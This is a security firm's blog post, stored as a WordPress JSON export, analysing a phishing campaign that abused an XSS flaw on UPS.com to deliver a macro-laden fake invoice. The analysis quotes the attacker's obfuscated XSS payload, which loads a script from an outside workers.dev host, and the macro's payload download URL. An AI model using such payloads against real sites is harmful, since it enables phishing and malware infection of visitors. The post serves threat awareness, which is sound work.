{"id":2945,"date":"2021-08-24T18:46:05","date_gmt":"2021-08-24T13:16:05","guid":{"rendered":"https:\/\/xiarch.com\/blog\/?p=2945"},"modified":"2021-08-24T18:46:07","modified_gmt":"2021-08-24T13:16:07","slug":"phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware","status":"publish","type":"post","link":"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/","title":{"rendered":"Phishing Attack Utilize UPS.com XSS Vuln to Transmit Malware!"},"content":{"rendered":"\n<p><p style=\"text-align: justify;\">A clever UPS phishing campaign uses the XSS vulnerability in UPS.com to insert fake and malicious &#8216;Invoice&#8217; Word documents. The phishing fraud was first founded by security research and purported to be an email from UPS initiating that a package had an &#8220;exception&#8221; and requires to be preferred up by the customer.<\/p><\/p>\n\n\n\n<p><p style=\"text-align: justify;\">What makes this phishing attack stand out is that the threat actor used the XSS vulnerability in UPS.com to modify the site&#8217;s regular page to look like a legitimate download page. This vulnerability also permitted the threat actor to transmit a malicious document through a remote Cloudflare worker but make it look like it was being downloaded directly from UPS.com.<\/p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Cutting up the UPS Phishing Scam<\/strong><\/h2>\n\n\n\n<p><p style=\"text-align: justify;\">This email is filled with various appropriate links that execute no malicious behavior. Nevertheless, the tracking number is a link to UPS\u2019 site that consists of an exploit for an XSS vulnerability that inserts malicious JavaScript into the browser when the page is launched.<\/p><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"882\" src=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image1-1024x882.jpg\" alt=\"Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image1\" class=\"wp-image-2948\" srcset=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image1-1024x882.jpg 1024w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image1-300x259.jpg 300w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image1-768x662.jpg 768w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image1.jpg 1294w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n\n<p><p style=\"text-align: justify;\">The cleaned-up version of the URL utilized for the tracking number can be seen below, with the original being further confused.<\/p><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"183\" src=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image2-1024x183.jpg\" alt=\"Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image2\" class=\"wp-image-2949\" srcset=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image2-1024x183.jpg 1024w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image2-300x54.jpg 300w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image2-768x137.jpg 768w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image2-1536x274.jpg 1536w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image2.jpg 1564w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n\n<p><p style=\"text-align: justify;\">This URL has two compelling strings that are utilized as a part of the attack, with the initial time of interest being the following base 64 encoded strings:<\/p><\/p>\n\n\n\n<p><p style=\"text-align: justify;\">MSBqVTU3IE4zM2QgNzAgbTRLMyA3aDE1IFVSTCA0IGwxNzdsMyBMMG45M3IgNzAgSDFEMyBuM3g3IHFVM3JZIFA0UjRNLCB5MHUgNExSMzREeSBLbjB3IFdoWSA7KQ==<\/p><\/p>\n\n\n\n<p><p style=\"text-align: justify;\">The base64 string includes a comment from the attackers who helpfully explains that it is utilized to make the URL longer to hide an XSS exploit query parameter appended to the end of the URL.<\/p><\/p>\n\n\n\n<p><p style=\"text-align: justify;\">1 jU57 N33d 70 m4K3 7h15 URL 4 l177l3 L0n93r 70 H1D3 n3x7 qU3rY P4R4M, y0u 4LR34Dy Kn0w WhY \ud83d\ude09<\/p><\/p>\n\n\n\n<p><p style=\"text-align: justify;\">This comment is interesting, as it&#8217;s not common for attackers to elaborate why an URL is generated a certain way for a phishing attack. The second string of interest is the JavaScript XSS exploit inserted into UPS.com when a user accesses the website.<\/p><\/p>\n\n\n\n<p><p style=\"text-align: justify;\">img src=&#8221;x&#8221; onerror=&#8221;Function(atob(&#8216;JC5nZXRTY3JpcHQoJ2h0dHBzOi8vbS5tZWRpYS1hbWF6b24ud29ya2Vycy5kZXYvanMnKQ==&#8217;))()<\/p><\/p>\n\n\n\n<p><p style=\"text-align: justify;\">The decoded base64 string in the atob() function contains the URL to a Cloudflare worker script that the vulnerability will load.<\/p><\/p>\n\n\n\n<p><p style=\"text-align: justify;\">$.getScript(&#8216;https:\/\/m.media-amazon.workers.dev\/js&#8217;)<\/p><\/p>\n\n\n\n<p style=\"text-align: justify;\"The Cloudflare worker script, monitored by Gallagher on Urlscan, will harm the UPS Page to show a message that a file is downloading.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"301\" src=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image3-1024x301.jpg\" alt=\"Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image3\" class=\"wp-image-2950\" srcset=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image3-1024x301.jpg 1024w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image3-300x88.jpg 300w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image3-768x226.jpg 768w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image3.jpg 1270w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n\n<p><p style=\"text-align: justify;\">The script of Cloudflare worker inserted by the XSS vulnerability will harm the UPS website to display a downloading page, as given below:<\/p><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"771\" src=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image4-1024x771.jpg\" alt=\"Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image4\" class=\"wp-image-2951\" srcset=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image4-1024x771.jpg 1024w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image4-300x226.jpg 300w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image4-768x578.jpg 768w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image4-1536x1156.jpg 1536w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image4.jpg 1600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n\n<p><p style=\"text-align: justify;\">The page will download the malicious Word document VirusTotal from the attacker&#8217;s Cloudflare project. This phishing campaign is so clever because a user visiting the URL will see a legitimate ups.com URL prompting a download of an invoice.<\/p><\/p>\n\n\n\n<p><p style=\"text-align: justify;\">This tactic will likely cause the victims to open the Invoice with less suspicion, thinking it is a real file from UPS. The UPS.com XSS vulnerability has since been fixed based on our analysis. Our experts have contacted UPS with questions about the attack but have not heard back at this time.&nbsp; &nbsp; &nbsp;&nbsp;<\/p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Mystical Fake \u2018Invoice\u2019 Document<\/strong><\/h2>\n\n\n\n<p><p style=\"text-align: justify;\">The downloaded document is named &#8216;invoice_1Z7301XR1412220178&#8217; and pretends to be a shipping invoice from UPS. When launching the document, all of the text will be unreadable, and the document will prompt a user to &#8216;Enable Content&#8217; to view it correctly.<\/p><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"764\" src=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image5-1024x764.jpg\" alt=\"Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image5\" class=\"wp-image-2952\" srcset=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image5-1024x764.jpg 1024w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image5-300x224.jpg 300w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image5-768x573.jpg 768w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image5.jpg 1381w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n\n<p><p style=\"text-align: justify;\">When implemented, the macros will try to download a file&nbsp;<a href=\"https:\/\/divine-bar-3d75.visual-candy.workers.dev\/blackhole.png\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/divine-bar-3d75.visual-candy.workers.dev\/blackhole.png<\/a>. However this URL is no longer active, so it is not even possible to see the payloads.<\/p><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"610\" height=\"477\" src=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image6.jpg\" alt=\"Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image6\" class=\"wp-image-2953\" srcset=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image6.jpg 610w, https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-image6-300x235.jpg 300w\" sizes=\"(max-width: 610px) 100vw, 610px\" \/><\/figure><\/div>\n\n\n\n<p><p style=\"text-align: justify;\">These phishing attacks clarify the creativity and expanding the techniques utilized by attackers to transmitted malicious files convincingly. Where the email sender displayed a suspicious domain, as the XSS vulnerability permitted the URL and download page to come appropriately from UPS, many people would have been infected by this scam.<\/p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A clever UPS phishing campaign uses the XSS vulnerability in UPS.com to insert fake and malicious &#8216;Invoice&#8217; Word documents. The phishing fraud was first founded by security research and purported to be an email from UPS initiating that a package had an &#8220;exception&#8221; and requires to be preferred up by the customer. What makes this [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":2947,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.11 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Phishing Attack Utilize UPS.com XSS Vuln to Transmit Malware! - Xiarch Solutions Private Limited<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Phishing Attack Utilize UPS.com XSS Vuln to Transmit Malware! - Xiarch Solutions Private Limited\" \/>\n<meta property=\"og:description\" content=\"A clever UPS phishing campaign uses the XSS vulnerability in UPS.com to insert fake and malicious &#8216;Invoice&#8217; Word documents. The phishing fraud was first founded by security research and purported to be an email from UPS initiating that a package had an &#8220;exception&#8221; and requires to be preferred up by the customer. What makes this [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/\" \/>\n<meta property=\"og:site_name\" content=\"Xiarch Solutions Private Limited\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/xiarch\/\" \/>\n<meta property=\"article:published_time\" content=\"2021-08-24T13:16:05+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-08-24T13:16:07+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-featured-image.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1000\" \/>\n\t<meta property=\"og:image:height\" content=\"525\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Xiarch Security\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@xiarch\" \/>\n<meta name=\"twitter:site\" content=\"@xiarch\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Xiarch Security\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/\"},\"author\":{\"name\":\"Xiarch Security\",\"@id\":\"https:\/\/xiarch.com\/blog\/#\/schema\/person\/655d814a04eacce56942270cfdc5c59c\"},\"headline\":\"Phishing Attack Utilize UPS.com XSS Vuln to Transmit Malware!\",\"datePublished\":\"2021-08-24T13:16:05+00:00\",\"dateModified\":\"2021-08-24T13:16:07+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/\"},\"wordCount\":394,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/xiarch.com\/blog\/#organization\"},\"articleSection\":[\"Vulnerabilities\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/\",\"url\":\"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/\",\"name\":\"Phishing Attack Utilize UPS.com XSS Vuln to Transmit Malware! - Xiarch Solutions Private Limited\",\"isPartOf\":{\"@id\":\"https:\/\/xiarch.com\/blog\/#website\"},\"datePublished\":\"2021-08-24T13:16:05+00:00\",\"dateModified\":\"2021-08-24T13:16:07+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/xiarch.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Phishing Attack Utilize UPS.com XSS Vuln to Transmit Malware!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/xiarch.com\/blog\/#website\",\"url\":\"https:\/\/xiarch.com\/blog\/\",\"name\":\"Xiarch Solutions Private Limited\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\/\/xiarch.com\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/xiarch.com\/blog\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/xiarch.com\/blog\/#organization\",\"name\":\"Xiarch\",\"url\":\"https:\/\/xiarch.com\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/xiarch.com\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/06\/xi-logo-002.png\",\"contentUrl\":\"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/06\/xi-logo-002.png\",\"width\":300,\"height\":300,\"caption\":\"Xiarch\"},\"image\":{\"@id\":\"https:\/\/xiarch.com\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/xiarch\/\",\"https:\/\/twitter.com\/xiarch\",\"https:\/\/www.linkedin.com\/company\/xiarch\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/xiarch.com\/blog\/#\/schema\/person\/655d814a04eacce56942270cfdc5c59c\",\"name\":\"Xiarch Security\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/xiarch.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/d33699ed91b76568586dc1ae278ea568?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/d33699ed91b76568586dc1ae278ea568?s=96&d=mm&r=g\",\"caption\":\"Xiarch Security\"},\"sameAs\":[\"https:\/\/xiarch.com\/blog\/\"],\"url\":\"https:\/\/xiarch.com\/blog\/author\/vector\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Phishing Attack Utilize UPS.com XSS Vuln to Transmit Malware! - Xiarch Solutions Private Limited","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/","og_locale":"en_US","og_type":"article","og_title":"Phishing Attack Utilize UPS.com XSS Vuln to Transmit Malware! - Xiarch Solutions Private Limited","og_description":"A clever UPS phishing campaign uses the XSS vulnerability in UPS.com to insert fake and malicious &#8216;Invoice&#8217; Word documents. The phishing fraud was first founded by security research and purported to be an email from UPS initiating that a package had an &#8220;exception&#8221; and requires to be preferred up by the customer. What makes this [&hellip;]","og_url":"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/","og_site_name":"Xiarch Solutions Private Limited","article_publisher":"https:\/\/www.facebook.com\/xiarch\/","article_published_time":"2021-08-24T13:16:05+00:00","article_modified_time":"2021-08-24T13:16:07+00:00","og_image":[{"width":1000,"height":525,"url":"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/08\/Phishing-Attack-Utilize-UPS.com-XSS-Vuln-to-Transmit-Malware-featured-image.jpg","type":"image\/jpeg"}],"author":"Xiarch Security","twitter_card":"summary_large_image","twitter_creator":"@xiarch","twitter_site":"@xiarch","twitter_misc":{"Written by":"Xiarch Security","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/#article","isPartOf":{"@id":"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/"},"author":{"name":"Xiarch Security","@id":"https:\/\/xiarch.com\/blog\/#\/schema\/person\/655d814a04eacce56942270cfdc5c59c"},"headline":"Phishing Attack Utilize UPS.com XSS Vuln to Transmit Malware!","datePublished":"2021-08-24T13:16:05+00:00","dateModified":"2021-08-24T13:16:07+00:00","mainEntityOfPage":{"@id":"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/"},"wordCount":394,"commentCount":0,"publisher":{"@id":"https:\/\/xiarch.com\/blog\/#organization"},"articleSection":["Vulnerabilities"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/","url":"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/","name":"Phishing Attack Utilize UPS.com XSS Vuln to Transmit Malware! - Xiarch Solutions Private Limited","isPartOf":{"@id":"https:\/\/xiarch.com\/blog\/#website"},"datePublished":"2021-08-24T13:16:05+00:00","dateModified":"2021-08-24T13:16:07+00:00","breadcrumb":{"@id":"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/xiarch.com\/blog\/phishing-attack-utilize-ups-com-xss-vuln-to-transmit-malware\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/xiarch.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Phishing Attack Utilize UPS.com XSS Vuln to Transmit Malware!"}]},{"@type":"WebSite","@id":"https:\/\/xiarch.com\/blog\/#website","url":"https:\/\/xiarch.com\/blog\/","name":"Xiarch Solutions Private Limited","description":"","publisher":{"@id":"https:\/\/xiarch.com\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/xiarch.com\/blog\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/xiarch.com\/blog\/#organization","name":"Xiarch","url":"https:\/\/xiarch.com\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/xiarch.com\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/06\/xi-logo-002.png","contentUrl":"https:\/\/xiarch.com\/blog\/wp-content\/uploads\/2021\/06\/xi-logo-002.png","width":300,"height":300,"caption":"Xiarch"},"image":{"@id":"https:\/\/xiarch.com\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/xiarch\/","https:\/\/twitter.com\/xiarch","https:\/\/www.linkedin.com\/company\/xiarch"]},{"@type":"Person","@id":"https:\/\/xiarch.com\/blog\/#\/schema\/person\/655d814a04eacce56942270cfdc5c59c","name":"Xiarch Security","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/xiarch.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/d33699ed91b76568586dc1ae278ea568?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d33699ed91b76568586dc1ae278ea568?s=96&d=mm&r=g","caption":"Xiarch Security"},"sameAs":["https:\/\/xiarch.com\/blog\/"],"url":"https:\/\/xiarch.com\/blog\/author\/vector\/"}]}},"_links":{"self":[{"href":"https:\/\/xiarch.com\/blog\/wp-json\/wp\/v2\/posts\/2945"}],"collection":[{"href":"https:\/\/xiarch.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/xiarch.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/xiarch.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/xiarch.com\/blog\/wp-json\/wp\/v2\/comments?post=2945"}],"version-history":[{"count":2,"href":"https:\/\/xiarch.com\/blog\/wp-json\/wp\/v2\/posts\/2945\/revisions"}],"predecessor-version":[{"id":2955,"href":"https:\/\/xiarch.com\/blog\/wp-json\/wp\/v2\/posts\/2945\/revisions\/2955"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/xiarch.com\/blog\/wp-json\/wp\/v2\/media\/2947"}],"wp:attachment":[{"href":"https:\/\/xiarch.com\/blog\/wp-json\/wp\/v2\/media?parent=2945"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/xiarch.com\/blog\/wp-json\/wp\/v2\/categories?post=2945"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/xiarch.com\/blog\/wp-json\/wp\/v2\/tags?post=2945"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}